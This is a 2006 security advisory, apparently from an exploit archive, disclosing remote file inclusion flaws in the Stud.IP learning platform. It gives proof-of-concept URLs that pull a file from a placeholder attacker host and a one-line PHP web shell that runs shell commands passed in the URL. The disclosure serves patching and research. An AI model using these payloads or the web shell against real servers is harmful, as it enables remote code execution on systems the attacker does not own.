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Stud.IP <= 1.3.0-2 Multiple Remote File Include Vulnerabilities

Author
Hamid Ebadi
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-558
Category
web applications
Date add
30-06-2006
Platform
unsorted
===============================================================
Stud.IP <= 1.3.0-2 Multiple Remote File Include Vulnerabilities 
===============================================================



/*------------------------------------------------
               IHS Public advisory
-------------------------------------------------*/

Stud.IP Remote File Inclusion
Stud.IP is a learning and an information management
system for universities, educational facilities and
enterprises.

http://www.studip.de
http://www.data-quest.de
http://www.sourceforge.net/projects/studip


Discovered by Hamid Ebadi Credit :
all go to IHS team (IHS : IRAN HOMELAND SECURITY)
www.ihsteam.com (persian)
www.ihsteam.net (english)


The original article can be found at:
http://www.hamid.ir/security/
http://www.IHSteam.com

Vulnerable Systems:
       studip 1.3.0-2 and below


Input passed to the "_PHPLIB[libdir]" parameter in
studip-phplib/oohforms.inc and to the
"ABSOLUTE_PATH_STUDIP"  parameter in
studip-htdocs/archiv_assi.php is not properly verified
before being used to include files.
This can be exploited to execute arbitrary PHP code by
including files from local or external resources.

POC Exploits:

The following URL will cause the server to include
external files
http://localhost/studip-1.3.0-2/studip-htdocs/archiv_assi.php?cmd=ls -al&ABSOLUTE_PATH_STUDIP=http://attacker/cmd.gif?
http://localhost/studip-1.3.0-2/studip-phplib/oohforms.inc?cmd=ls -al&_PHPLIB[libdir]=http://attacker/cmd.gif?

cmd.gif
<?
passthru($_GET['cmd']);
?>

Solution:
Edit the source code to ensure that input is properly verified.


greeting :
LorD , NT , C0d3r of IHS



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